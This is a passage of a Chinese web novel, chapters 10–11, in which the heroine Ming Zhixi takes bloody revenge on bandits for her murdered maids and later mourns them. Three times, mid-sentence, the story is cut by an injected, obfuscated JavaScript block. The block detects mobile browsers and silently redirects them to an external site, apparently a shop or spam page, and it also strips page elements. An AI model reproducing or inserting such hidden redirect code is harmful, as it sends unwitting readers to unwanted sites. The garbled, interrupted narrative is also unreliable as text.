明枝溪向着里头骑去,熟悉感涌上心头,只不过没有红灯笼,没有亮光,一片寂静,许多商铺都已经结了蛛丝,赫然一副鬼城的气息。 荒庙,外门上贴着一副门联,几乎无法辨认,可明枝溪知道那是五路财神,她翻身下马,落地的一瞬间,疼的她‘嘶’的叫出声,如同跛子般推开门走进,大门岔开着,观音一脸慈悲模样,面前横竖躺着两人。 明枝溪慌神向里跑去,疼痛难忍,两具尸身静静趴在地上,明枝溪颤抖着将她们挨个翻过来,不可置信的摸了又摸对方的脸颊:“啊——为什么!为什么不早些告诉我,你们两个笨蛋,想报仇可以啊,为什么不叫上我,你们...你们...” 泪如泉涌,她摇晃着面前,身上脸上沾满泥巴,一身墨绿色衣裳凌乱且破碎的少女,手中沾满鲜血:“你醒醒啊,我带你回家,好不好,你和绿竹都好好的,待在自己的小院子里,闲着没事了就种种田。” “和以前在无芦村一样,想我了就来找我,我们一起去吃好吃的,对了,我听一位厨子说樊楼,樊楼的菜好吃,很好吃,你醒来我们一起出去吃,你..醒醒啊!” “你们都骗我,什么说好的要一起过一辈子,什么等我出嫁了再找个好人家,你们都是骗子!我还没出嫁,你们也还没找到好人家,快醒来啊!” 观音像保持着面容,嘴唇微微带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567706|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,仿佛是在说:你求我啊,你不求我吗。 殿门外传来阵阵脚步声,一名声音粗犷的男子走出,随地吐了口唾沫:“我呸,又是个女的,不过嘛,看着挺有钱的,你们瞅瞅,穿金戴银的,啧啧,能卖不少钱吧,比地上那两废物有用。” 底下一群人附和着:“是啊老大,我看这小娘子长的还怪漂亮的,细皮嫩肉的。” “你懂什么,要我说啊,还是那藏香楼里的才是顶好的。” “嘿,捞完这一把,去几次都不成问题。” 明枝溪不舍的将青禾放下,眼中仿佛冒着红光,将几名胆子小的吓的后退了几步,明枝溪就站在那儿,目光沉沉的看着面前的男子:“你们..杀了她们?你们是三年前无芦村的劫匪?” 一名脸上有着长长一条刀疤的男子站出来:“嘿,我又凭什么告诉你,你以为你是谁?” 明枝溪抽出双剑,歪着头看向面前的刀疤男:“第一个是你,都出来吧,留活口,我要挨个审!” 一众身穿青灰外袍的女子纷纷走出,气势汹涌,步步逼近,一群劫匪慌乱的看向四周逼近的女子,领头的大喊一声:“都杀了,全是女的有什么好怕的?一群废物。” 明枝溪率先冲上前去,众人也随着她的脚步上前交战,明枝溪癫狂的笑着,对着面前的刀疤男喊:“我是谁?我是天王老子,杀你来了。” 那刀疤男抽出刀,硬生生接住一剑,往后挪了几分,潮湿的土地被摁出沟壑,可他忘了,对方是双剑,只见明枝溪左手猛的刺来,刀疤男无可抵挡,只得抽出刀向后退了几步。 “哟,小娘们还用双剑呐,啧啧,真威风。”刀疤男挑衅着,只见腹部猛的流出血液,他不可置信的摸了摸,随后捂着腹部摔在地上,发出惨叫。 明枝溪带着渗人的笑走上去,随手挡住刺来的剑,一步一步向前迈去,刀疤男连连后缩,爬着出了大门,明枝溪戏谑的看着面前这个如蝼蚁一般的废物:“你们老大还真说对了,都是废物。” 刀疤男惊恐的开口求饶:“小..不对,女侠,求您了放我一马,我家中还有一位年迈的老母亲,等着我回去照料呢。” 明枝溪听了笑出声:“你?你居然还有母亲呢?好啊,她们何尝不是?对了,她们的母亲早在三年前就被你们杀了,不好好夹着尾巴躲在阴沟里,居然还敢跑出来丢人现眼?佩服,佩服。” “念在你方才不露胆怯,赏你个痛苦,好好体验一下死亡的滋味吧,你会喜欢的。” 说着,明枝溪一剑砍断了对方的腿,刀疤男的惨叫声贯彻天地,再是一剑,砍断了对方的胳膊,残肢落在地上,刀疤男渐渐的没了惨叫声,奄奄一息。 鲜血溅到明枝溪面庞上,为她那惨淡的面容添了血色,她转过身向里走去,顺手杀了几个装傻,博取同情的,直直走向领头羊,语气冰冷:“刀疤脸已经下地狱了,接下来轮到你了,好期待呀,你会有什么遗言呢?” 明枝溪挥剑而出,领头羊抽出刀阻挡,他的身材高大,明枝溪站在他面前就跟小猫咪一样,没有一点杀伤力,唯一有杀伤力的可能就是那张,看着慈悲,实际无常的面容。 明枝溪双手挥动着向前砍去,一脚横扫领头羊的腿,将其绊倒在地,剑尖直逼咽喉而去,只见对方向着一旁翻身躲过,拿起刀砍来,明枝溪侧过头,稳稳的将双剑抵挡在前,刀剑碰撞间传来嗡鸣声。 明枝溪有些力不能及,力量的差距实在太悬殊了,她后撤一步,往边上飞奔而去,捡起地上对方同伙的刀向领头羊抛去,领头羊逐个击落。 转眼间便发现明枝溪没了踪迹,哈哈大笑着向周遭的女子们喊道:“你们的主子已经自己跑了,不如就从了我们吧!” 就在这时,明枝溪一把从树上跳落下来,乘其不备间砍下了对方的手臂,领头羊后退几步:“投机取巧可不是什么好事。”话音未落他觉得有什么东西疯狂在体内流窜。 猛的吐出一口鲜血,喊道:“你下毒!卑鄙无耻。” 明枝溪收起剑,对方的同伙已经倒地不起了,纷纷在地上哀嚎着。 她缓步走向前,眼底杀意狂烈:“着叫做兵不厌诈,还没结束就挑衅,怪我?你现在可以选择告诉我实情,也许我能放你一马,或者安静的等死。” 领头羊用尽全身力气喊:“你想都别想!你个疯子!” “我?我是疯子?那你们算什么?在条件本就艰苦人家中烧杀打砸,你们比我更疯!”明枝溪猛地将剑刺入对方手掌,“你最好呢直接告诉我事情的真相,不然你就只能在痛苦中死去。” “滚!”领头羊依旧闭口不提,而周围的同伙见老大失败,已经纷纷跪地求饶。 “我说!当年我也在,只不过我说了能不能放我一命,我家中还有妹妹,不能没了我啊。”身材矮小的男子跪在地上,没有受到什么致命伤,方才可能在装死。 明枝溪笑眯眯的,看不出喜恶:“好,你说出来我句放你一马,君子一言,驷马难追。” 矮小男子缓缓开口:“当时有一个男的,身上一股馊味,好像是尿骚味,长的很老,讲话也很难听,他找到我们说......” 10. 第10章 我给过你机会 乌黑的云遮挡住月亮,环境猛的变得一片漆黑,只听‘咻’的一声,一只加粗的绣花针由不远处飞出,直直刺向前方正在讲述的矮小男子,矮小男子并未察觉,血柱喷涌出。 矮小男人觉着有些湿润,忍不住摸了摸脖子,低头一看手中沾满鲜血,大半衣衫已经被浸透,他用力捂住脖子,嘴里发出惨叫,可不一会儿就变成鲜血由他的口中慢慢渗出,逐渐没了呼吸。 明枝溪煞气十足,望向绣花针飞来的方向,凝重开口质问:“我给过你机会的,霜珂,你要背叛我吗?” 霜珂后退几步,眼中还含着泪,周围的暗卫纷纷拔出刚入鞘的剑,指向她,霜珂面色痛苦:“主子,你听我一句劝,别再查下去了,幕后之人不愿与你,与这丞相府为敌,你惹不起他们的,我们都会没命的。” 明枝溪双手紧握着剑,缓步朝她走去,语气出奇平静:“命?你的意思是,绿竹与青禾都白死了?那些无辜的百姓也都是幕后之人的垫脚石?我收留你们之时说过什么?你可还起得一字片语?” 霜珂双膝跪地,湿润的泥浆溅起,牢牢扒在霜珂的脸颊上,她语气哀求:“我记得,大家都记得,可这又说明什么?她们的命是命,我们的命也是命呀!我只是想保护娘,保护你,保护所有人。” 明枝溪双眼猩红,声嘶力竭喊着:“那你就不该选择跟随我!我说过,跟着我是为了调查真相的,是要给无芦村所有在天之灵的百姓一个公道,你不要公道,那你问过她们吗?” “你若是知道什么,说出来,我便放过你,让你与你娘在庄子里安度晚年,你若是不说,莫怪我不顾昔日情谊。” 霜珂跪在那自嘲的笑:“情谊,主子我若是说了你也会杀了我吧,没关系,我不怪你,你只需知道幕后之人手握世间,不是我们这些蝼蚁可比,只愿我死后,主子能告诉我娘,我是为了救你而死的,而不是畏罪..自戕。” 只见她掏出腰间配剑,直直朝着胸膛刺去,明枝溪反应迅速,猛的冲向前拿剑抵挡,霜珂却是口中吐出一口泛黑的血,直直倒地,临终前手在泥地里比划着,歪歪扭扭写下了一个字。 明枝溪看着地上写着的字被鲜血染红,‘吕’,明枝溪沉思着,领头羊发出尖锐的爆笑后,瞳孔逐渐扩散开,没了气息。 ‘轰’,闪电伴着刺耳的雷声落下,不偏不倚落在庙宇上,燃起熊熊烈火,明枝溪不顾思考,疯了般向里跑去,一名暗卫紧紧跟着,两人一左一右的抱着青禾与绿竹的尸身走出。 雨点纷纷砸落在众人脸上,分不清是泪,还是水,雨水冲刷去地上的血垢,也冲刷去青禾与绿竹脸上已经干涸的泥浆,露出两张白皙的面庞。 明枝溪脚掌上的伤痕早已支撑不住,每走一步便在地上开出一朵艳丽的莲花,随后在雨水中消散,她身形一晃,猛的倒在地上,双眼发黑,却又舍不得闭眼,怀里的青禾静静的躺在那儿。 若不是身体冰冷,肢体僵硬,倒也真像是睡着了,渐渐的眼皮泛沉,只见眼前一众暗探向着她跑来,似乎还有一位特殊的存在。 是走马灯吗...是谁呢?‘吕’是什么意思?好困,好疲惫,对不起啊青禾...明枝溪心中想着。 —————— 昏迷的梦中,明枝溪站在了那无芦村的村口,只是大家都还活着,百姓安居乐业,繁荣昌盛,有耕地的老伯,在院子中数着禾苗的大姐,都是很好的人。 “你是谁啊?”稚嫩的儿童声响起,明枝溪这才发现自己站在村口发着愣,她茫然的转过头,看向那个只到自己腰间的小女孩,轻轻的笑着。 小女孩手中拿着麦芽糖,不停的搅动着,一双水汪汪的大眼睛眨呀眨,正歪着头疑惑的看向她。 “我是外乡客,与祖母来此游玩,你叫什么名字呀小妹妹。”明枝溪弯下腰看向小女孩,仔细看小女孩的皮肤有些粗糙。 小女孩将手中的麦芽糖塞进嘴里,含糊不清的道:“我叫二丫,大姐姐叫什么?” 明枝溪被可爱到嘻嘻笑着:“我叫明枝溪,我就住在村外的一处宅子里,你要是无聊了可以找我玩呀。” 二丫双眼放光,在阳光底下显得亮晶晶的:“哇,是那个大宅子吗?好呀好呀,我们现在就去吧。” “呃...”明枝溪思考着,“现在不行,里头还在整理呢,要不明天,今天带我去你家玩?” “好呀好呀,我娘说过这叫什么礼..礼,哎呀,就是你给我东西,我也给你东西。”二丫蹦跶着,牵住明枝溪的手,往里走去。 她家离村口不远,拐几个弯就到了,一座在村子里算是气派的小院子,二丫牵住明枝溪的手,推开院门走进去,院子里有一位长相可人的妇女,还大着肚子,手中正忙着摘菜。 一旁还有一位比二丫看着大些的姑娘,正在帮忙清洗着豆子。 “这是我娘。”二丫伸手指向面前的妇女说着,随后又指向洗豆子的,“这是我阿姐,她叫大丫。” 明枝溪捂着嘴笑着,微微欠身:“小女是与祖母来此游玩的,可以叫我明枝溪,这位..如何称呼?” 那名妇女站起身,一脸不可信的看向二丫,又望向穿着靓丽的明枝溪,手在围裙上拍打着:“你好啊,你叫我阿茵就好了,哎呀,你看我们这也没有什么好吃的好喝的,那个,我给你倒杯水吧。” 大丫怯生生的躲在阿茵背后,时不时偷瞄一眼面前衣着华贵的大姐姐,被明枝溪看了一眼后又躲在后头不敢往外看。 明枝溪忍不住逗逗大丫,回了句:“好,多谢阿茵夫人。” 阿茵往屋内走去,没了母亲庇护的小羔羊站在原地一动不动,别扭的说了声:“你好,我叫大丫。” “你好呀,大丫,走我们去坐坐吧,好吗?”明枝溪一向自来熟,拉着两个小女孩便往一处用椅子围着摆起来的地方走去。 她让两个小女孩坐下后,自己才往下坐,问道:“你们多大啦?” “我十二岁啦。”二丫可爱的笑着道。 大丫则是有些拘谨,死死攥着衣角:“我十五了。” 明枝溪其实看不出来大丫原来跟自己一样大,这个女孩实在是太瘦小了:“你跟我一样大诶,那这样吧。” 只见她伸手从头上随后摘下两只通体雪亮玉钗,递给面前的两个小女孩:“送给你们,就当是见面礼。” 二丫兴高采烈地接过簪子,放在眼光下看了看,爱不释手,站起来亲了明枝溪一口,嘴里说道:“最喜欢你了,枝溪姐姐。” 大丫紧紧攥着衣角的手也随即松开,伸出手接过簪子,拿在手中,脸上泛着红晕,此时阿茵端着托盘走来,看见此情景连忙走去,将托盘放在矮桌上:“哎呦,姑娘你这,实在不可啊,哪有上来就送这么贵重的东西,大丫二丫快还回去。” 二丫瞬间收起笑容,鼓起腮帮子,闹着小脾气,大丫则是伸出手还回去,手却被明枝溪推回去:“阿茵夫人,这两只玉簪不算什么的,不要紧,你们就收下吧,就当我的买水钱。” 阿茵尴尬的笑着,将水递到她面前:“好,既然姑娘都这般说了,收下便是了,以后常来玩啊。” 明枝溪接过水杯,捧在手里,环顾四周:“怎么没有见到令夫?” “啊...充军去了。”阿茵苦笑着,“他命不好,走了,这院子就是朝廷给的。” “对不住。”明枝溪知道自己问了不该问的问题,慌忙的拿起水杯喝着。 “诶,没有什么对得住对不住的,这事儿过去了,不提了,我现在只盼着这两丫头片子与我腹中的孩儿能平安长大,这样我就心满意足了,也不枉她们父亲的期望不是。” 明枝溪寻思着缓解气氛,想了一圈才问:“怎么给孩子取名叫大丫和二丫?莫非是有什么典故吗?” “什么典故不典故的,名字是难听些,我们这些村里人大字不识几个,寻思着名字接地气点,好养活,诶,不如姑娘给我这两个孩儿取一个吧?我看吉人自有天相呐。” “我吗?这不太合适吧。”明枝溪正喝着水,听了这话赶忙将水杯放下。 “不打紧,姑娘就取个来听听,当小名也行啊。”阿茵说到这热情的说着。 明枝溪推脱了半天,实在是不好拒绝这盛情,只得思考一番,开口道:“大姑娘叫绿竹怎么样?柱子破土生长,生命顽强,这名字倒也是好养活。” “二姑娘叫青禾吧,到了夏季那田中的禾苗长大,打眼望去青绿一片,生生不息。” 阿茵咯咯笑着,抚摸着两姑娘的头:“好,读过书的就是和我们不一样啊,以后你就叫阮绿竹,你叫阮青禾,好不好呀。” 明枝溪有些头晕脑胀,青禾与绿竹的名字占据着大脑,她最终呢喃着望向面前的手舞足蹈的三人,梦境中环境一变,天空变得猩红,血腥味充斥着鼻腔,令人作呕。 明枝溪躲在一处地窖中,身旁还有两个小女孩,阿茵呢?明枝溪想到,她想推开地窖门,可不管怎么用力都推不动,红褐色泛有腥气的液体缓缓由门缝流下,滴落在雪白的衣裳上,格外刺眼。 明枝溪看着手中的液体,再看看面前正在哭泣望着她的青禾与绿竹,她随手擦了擦,捂住两人的嘴:“嘘,这是捉迷藏呢,不要哭了,会把‘鬼’引过来的,听话,等出去了我们一起去吃糖。” 青禾停止了哭泣只是定定的看向她,绿竹知道外头发生了什么,眼泪控制不住的流,可却是半点声音也没有了,绿竹咬紧牙关,表情几乎皱在一起。 不知过了多久,外头终于没了声响,紧接着就是一声声呼唤,这声音明枝溪最熟悉不过,是祖母身旁常跟着的婢女与老妈子,她开口回应,发现自己讲不出话了。 明枝溪惊慌的看着绿竹,示意她喊,自己拍打着上方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567707|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地窖门,很快,几名小厮将地窖上摆放着的石臼掰开,打开门,外头天已经黑了,明枝溪艰难的爬出去。 看向四周,鲜血淋漓,血流成河,阿茵倒在不远处的地上,孩子被挑出随意丢在地上,明枝溪浑身颤抖,泪水流出,老妈子看着她身上全是鲜血,忍不住惊叹:“我的老天啊,姑娘,你没事吧。” 明枝溪指了指地窖,老妈子走向前,打眼一瞧,两个小姑娘站在里头,颤抖着身体,惊恐的望着面前的老妈子。 “哎呦,哪来的两个小姑娘,快你们把她们捞上来,快。”老妈子吩咐着。 这时明枝溪又指了指自己喉咙,摆了摆手,老妈子迟疑的问:“姑娘这是?说不了话了?” 明枝溪点点头,指了指远方宅子的方向挥了挥手,一行人就这样跨过一路尸身走去,而两个小姑娘被蒙住了眼睛,到了这宅子才将两位小姑娘放下。 一名眉眼慈爱的老人着急走出,一把抱住明枝溪:“哎呦,没伤着吧?让祖母看看,哎呦,可是吓坏了?手怎么这么冰凉,怎么不说话呐?” 老妈子这才走出,开口解释:“姑娘啊,说不了话了,想必是真的吓着了。” 祖母双腿发软,心疼的开口:“哎呦,快准备马车,我们这就整理整理东西走,这两姑娘是?” 明枝溪激动的跑向屋内,拿了纸和笔,在上头写到:是她们的母亲救了我,让她们跟我们一起走吧,当我的婢女也行,起码是一条活路。 “诶呦我的好姑娘,真是菩萨心肠啊,好好好,一并走。”祖母看完纸条,开口说。 一名小厮急匆匆跑了过来,喘着气:“马车好了,走吧。” 一群人就这样浩浩荡荡的返程,一路上倒也是没什么贼匪,不久便到了一处安静的小镇上,老妈子找了个医官带着明枝溪与祖母走进去。 明枝溪与两个姑娘都已经换了一身干净衣裳,两个小姑娘说什么都不开口,就是要跟着明枝溪,那医官有些年迈,明枝溪找了椅子坐下,那医官才缓缓走来。 老妈子见医官来了,这才开口:“我们走无芦村来的,那儿发生了暴乱,我家姑娘当时给吓着了,开不了口,你看看有什么办法能治一下。” 那医官不语,拿出一块白布盖在明枝溪的手腕上,仔细的把脉,悠悠开口:“看这脉象,应当只是受到了惊吓,并无其它不妥,过个几日便能好全了。” “那您再看看这两个小姑娘,我见她们从未开口,怕不是也被吓到了?”老妈子追问着,将青禾与绿竹摁到椅子上,将手放在桌上。 那医官依旧仔细的为两人把脉,不久开口:“这是心病,无药可治呐。” 祖母听了紧紧皱着眉:“可怜这两小姑娘啊,年纪轻轻便没了爹娘。” 老妈子从袖中掏出五两银子,递给医官后一群人这才继续启程,明枝溪再次觉得有些头昏脑涨。 —————— “不!”明枝溪一把坐起,浑身上下都疼的厉害,尤其是脚底板,这时刘妈妈双眼泛着红走出来,盯着明枝溪未有言语,明枝溪也不知怎么面对她,沉默的垂下头。 “我听那些姑娘说了,是我对不住你,姑娘不必自责。”刘妈妈见她这副模样,终究是于心不忍。 明枝溪面色依旧惨白,双唇灰蒙蒙的,没有一丝血色,她紧紧咬住嘴唇,良久开口:“刘妈妈,你怪我也无妨,这事本就没得商量。” 刘妈妈眼神微微一顿:“不说这些了,这也是那孩子自找的,我不怨。” “谁送我来这的?”明枝溪脑海中隐约觉得当时有别的身影,开口询问。 “你的那些暗卫,青禾与绿竹的尸身我们已经下葬了,就在庄子附近的小山上,姑娘若是想她们了,也可以常去看看。”刘妈妈站起身向外走去,背影逐渐凄凉。 明枝溪蹙着眉梢,泪眼婆娑,她抬起头不让眼泪掉在地上,一群人紧接着走进来。 “庙里的人都解决了吗?有肯招供的吗?”明枝溪用手擦去即将掉落的泪珠。 众人摇了摇头。 “尔苗,以后你领着他们吧,论资历你最年长了,都退下吧,我想一个人静静。”说着,明枝溪躺下把头蒙在被窝里,放声大哭起来。 众人并没有退下,都跟着掉泪珠子。 外头天光大亮,是个艳阳天,天空一望无际,万里无云,是个很平静的一天。 良久,明枝溪探出头,看向她们:“你们愿意追随我吗?就算是死也要报仇雪恨吗?” “我愿意。”一名身材瘦小的女子缓缓站出,紧接着就是第二第三名,她们年纪都很小,武功也没有想象中那么厉害,只不过撑着报仇的信念才一步步走到如今。 明枝溪热泪盈眶:“好!谢谢你们。” 折腾了半天明枝溪这才将她们打发下去疗伤,独自杵着拐杖朝外走去,准备回府。 11. 第11章 长了颗红痣? 阳光十分毒辣,晒得人头皮发烫,明枝溪伸出手摸了摸滚烫的头顶,想着平时这时候,青禾一定会举着把伞,蹦蹦跳跳的跑出,为她挡住阳光。 “有些刺眼呢。”明枝溪望向阳光照射过来的方向,紧紧闭上了双眼,泪水再次滑落,“都被晒的掉眼泪了,青禾要是你在就好了。” 她说罢上了马车,紧靠着车壁,双眼空洞无神,望向窗外,这时看见了一个熟悉的身影,是刘妈妈站在门口,朝着马车方向挥着手,口中喊道:“姑娘!保重啊!” 明枝溪收回视线,是有些感动,可更多的是愧疚,她有些怀疑自己,是不是因为自己霜珂才会自戕,是不是自己逼死了她,明枝溪面色凝重的看着窗外的黄土。 被马蹄踩起一阵黄烟的地方,若隐若现出现了一个身影,明枝溪努力看清对方,眨眼功夫,那人就这样直直消失了,没有露出一点痕迹。 马车依旧摇晃着,明枝溪并没有管那人影,自以为是看错了,心中想着霜珂临死前写下的字,她定眼望向前方,忽然想起一件被自己忽略了的事情。 她心中想着,霜珂大字不识几个啊,吕是简单,可是也没有什么人姓吕啊,按照描述,像是宫中的人,尿骚味,太监吗?回去查查有没有姓吕的太监吧。 —————— 到了府门口,明映跑着出来迎接明枝溪,刚出马车,明枝溪便见到了一脸兴奋的妹妹。 明映见着她面色如纸,顿时一惊:“姐,你怎么了?怎么惨白成这样?” 她扶着明枝溪下马车,只见明枝溪身形摇晃,仿佛下一刻就要倒在地上,碰到了地面,明枝溪杵起拐杖,这才感受到一丝心安:“我没事,粉打多了。” “啊?真的吗?那也没必要打这么多吧...”明映不可置信开口。 只见明枝溪无力的笑着,一步步朝里走去:“你也真是,别人说什么你都信。” “你是我姐,才不是别人。”明映扶着她向里走去,“哎呀,我这次找你是想跟你聊点私房话的。” “怎么?你看上什么人了?”明枝溪打趣着。 远处一个人影唰唰跑来,不一会儿就站到了两人面前喘着粗气:“姑娘,你,你回来了,你怎么不带...” 小玉顿住了,实在是被面前这张毫无血色的脸吓的说不出话来,只原地站在那一声不吭。 “小玉,你来扶我吧。”明枝溪看向她说,又转头,尽量让自己看上去面色红润些,强硬的挤出一个微笑,还算是整洁,“映映,既然是私房话,不如等晚上,我们一起睡前聊一会儿怎么样,已经好久没有一起晚上聊悄悄话了。” 明映懂事的脱出手,虽是有些担忧,但还是沉稳开口:“好,那我晚上再来找你,我正好想出门买胭脂呢。” 明枝溪点点头,看着明映向外跑去,心思沉闷,缓缓开口:“小玉,青禾回不来了。” “什么,什么回不来了,姑娘你莫不是高热了?糊涂了?”小玉扶着明枝溪的手没有松,稳稳的托住她,向雪竹院走去,明枝溪并未再开口,一路沉默,路上几个洒水的婢女纷纷行礼。 走进院内,明枝溪实在是酸痛,望向外廊的摇椅,直直走去坐着,小玉则是黑沉着脸,死死咬住嘴唇不让泪水落下。 明枝溪看向她,抽噎的道:“青禾与绿竹死了。” “姑娘不要说了!我就知道,你们都是骗子。”小玉情绪激动,站在外廊上就开始喊,一众婢女纷纷侧目望过来,目光好奇。 明枝溪挥挥手,那些好奇的婢女便都退了下去:“小玉,我知道你与青禾关系要好,可是人死不能复生,我们要向前看,我会帮她们报仇的...你放心。” 小玉伸出袖子摸了把脸,两条晶莹剔透的鼻涕挂在那,怎么抹都去不掉,放声大哭起来:“我就知道,这个傻丫头,天天想着报仇,讨厌死了,跟我一起在院子里玩不好吗,非要去拼死。” “明明就是一只小羊羔子,为什么非要装大尾巴狼,我就不该让她回去,我就应该拦住她的,街口的糖葫芦我还没给她买呢,为什么要离开我,明明还有很多未完成的约定啊。” 明枝溪看着面前这个一把鼻涕一把泪的小玉,眼眶逐渐湿润,强忍着不让自己哭出声:“没事,没事,不要哭了,你今天就好好休息吧,好吗?乖,下去休息吧。” 小玉抹着脸往侧厢房走去,外头早已站着一名男子,他缓缓走来,有些遗憾道:“青禾是个好孩子,下辈子一定会生活美满的,你也不要太伤心。” 明子晋站在那,帮明枝溪挡住了阳光,显得面容十分枯败,像是凋零的荷花。 “我正好要找你呢,我没事,伤心几天就会过去的,你不是总说时间会冲淡一切吗?哥,你在宫中任职有没有听过姓吕的太监?”明枝溪露出僵硬的微笑。 “呃...没有听过,明日帮你打听。”明子晋思考良久,“你怎么问这个?” “没事,随便问问,在庄子里偶然听说的。”明枝溪随便搪塞过去,紧接着杵起拐杖一点一点往屋内挪去,“你先回去吧,我有点累了,这几天事儿多。” 明子晋有些心疼,无奈的叹气:“那我走了,你记得及时换药啊,我听庄子里的刘妈妈说了,你的脚都化脓了。” 明枝溪声音逐渐远去:“知道了,你快回去吧。” 明子晋走后,明枝溪独子一人平躺在被窝中,看着床顶出神,隐约听见了奇怪的叫声,转头望去,窗台上站立着一只鹰,明枝溪开口叫着:“小白,快过来,别老是呆在那,过来让我摸摸。” 小白眼珠子滴溜转着,死活也不过去,原地扇动着翅膀,明枝溪无可奈何,自言自语道:“你也觉得我很没用是不是,连在意的人都保护不了,还天真的想帮她们报仇。” 小白干叫两声,扑腾着翅膀往明枝溪床上飞去,停在了床边,盯着明枝溪,扇动着翅膀。 明枝溪有些恼怒,气愤的喊:“你做什么?都是灰啊,你别扇了,就这么想打我吗?” 她挣扎中发现小白脚上挂着一封信,摇摇欲坠,她伸手解开,打开看着。 —————— 姑娘,我是二丫,如果你收到这封信,说明我已经被安葬了吧,我还是希望自己以后能跟着姑娘,下辈子我们一定会再见面的,我在另一个世界等你哦。 如果姑娘长命百岁的话,那我就多等你一百年,一千年,其实这次是我们唐突了,可是我们不想让姑娘总是帮我们,因为我们已经麻烦了姑娘很多了。 对啦,我不会写字,这字是阿姐写的,怎么样,好看吧,她还从来没有在你面前露过这一手呢,现在也算是给你个惊喜吧,还有还有,我的床铺下面放着你之前送给我们的玉簪,可以的话我还是希望姑娘带着。 毕竟我们姑娘天生丽质,不像我干巴巴的,还有一张一百两的银票哦,对姑娘来说不多,所以不打算给姑娘,嘻嘻,给小玉吧,她爱吃甜食,肯定要花很多银子的。 就说到这啦,阿姐有些不耐烦了,再见啦! —————— 泪水滴落在纸张上,将墨晕染开,明枝溪慌张的伸手去抹,却越抹越乱,她将信狠狠抱在怀中,仿佛要摁进胸膛,无声的哭泣着,眼睛早已肿的不成样子。 小玉跑到屋内,手中拿着银票与玉簪,颤声开口:“姑娘,我找到这个了。” 明枝溪擦着泪水,不想让人看出自己哭过,声音还是带着啜泣:“嗯,银票是青禾给你的,玉簪帮我放到梳妆台上吧。” 小玉仔细将银票收好,又将玉簪摆放在梳妆台上,转头望向明枝溪道:“那我先退下了,姑娘也不要太伤心,这钱我会存着,等我攒够了,给她在家乡找个风水宝地。” 小玉是有些笨,但是不蠢,能看出明枝溪独自躲在被窝里哭,就是不想被人发现,所以很识趣的自己退下。 明枝溪脑海中全是青禾与绿竹的身影,直到太阳都下沉了都并没察觉,小玉端着菜缓缓走进来,将菜放在床边矮桌上,很清淡的菜,看着便让人没食欲。 不过明枝溪还是老老实实的吃着,她想着,如果我不吃饭,青禾会伤心的吧,不想让青禾走了还操心我了。 小吃了几口,便没了多少胃口,小玉撤走菜,双眼微微泛红深深看了明枝溪一眼,便向外走去。 明枝溪躺在那不知不觉就睡着了,直到明映走了进来,她才悠悠转醒,望向来人。 明映有些拘谨,她听说了青禾的死,所以也不敢放开说,直到明枝溪憋不住,问了句:“所以你要说什么?我很吓人吗?站在那儿不说话。” 明映穿着里衣,搓着手指:“呃,我总觉得气氛不对呢。” “哪有什么不对?”明枝溪说着往里挪了些,拍拍床铺:“快躺下来吧,晚上会有些冷的。” “好。”明映谨慎的躺在床上,“那我说了啊,你可帮我出出主意。” 明枝溪点点头,但是又怕对方看不见,开口道:“你说吧,我听着。” 明映还未开口,双手猛的捂住脸:“哎呀,害羞死了。” 明枝溪:? “好啦好啦,不开玩笑了,就是我好像喜欢上了一个人,呃,不对,是他先喜欢我的,他和哥哥是同僚,长的还怪好看的。”明映双手捧着脸趴在床上,“他叫顾从希,是不是名字也好听。” 明枝溪觉着血液有些凝固了,开口询问:“是我想到的那个吗?” 明映一脸疑惑:“怎么?姐你也认识吗?” “略有耳闻,你若是真喜欢那边和爹商议一下呗,万万不可私定终身。”明枝溪无奈道。 “哎呀,不会的,我就是怕,怕他只是一时心动。”明映捂着脑袋十分焦虑。 “你怕还来找我说什么?”明枝溪侧过身不再看她,“这人我觉得吧,有些轻浮,但是你真喜欢,我也没办法。” 明映听了,往她身旁凑了凑,紧紧贴着:“诶呀,所以才来找你出谋划策啊。” 明枝溪有气无力的道:“敌不动,我不动,先观察几天,若是他提亲了那便就算了,他若是只是玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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菲华微微欠身答道:“是。”随后她带着一大箱子东西向里走去,半拖半拽的拉起明映,借着明枝溪的梳妆台,给明映梳妆打扮着。 出来时明枝溪正靠在躺椅上喝着茶,气色缓和了许多,明映也清醒了些道:“姐,我走啦。” “去吧,以后不要乱踢被子了,折腾人。”明枝溪看着手中的书,开口道。 明映没有作答,脸微微泛着红晕。 小玉大清早便出了趟门,带回来两包麦芽糖放在明枝溪桌上,明枝溪嘴馋了便就吃上两颗。 日子非常平淡,几日后明枝溪脚伤也好的差不多了,想着许久未曾出过门了,不知道望风楼是不是还放着那戏。 她洗了身澡,换了件亮色衣裳,发髻上带着荷花簪与玉簪,两个簪子出奇的好搭配,没有那种争奇斗艳之色。 大街上十分热闹,时不时就有小孩举着糖葫芦到处跑,明枝溪轻车熟路走向望风楼,那小二见到了来人笑着开口:“诶呦,这位姑娘,许久未曾见过你了。” 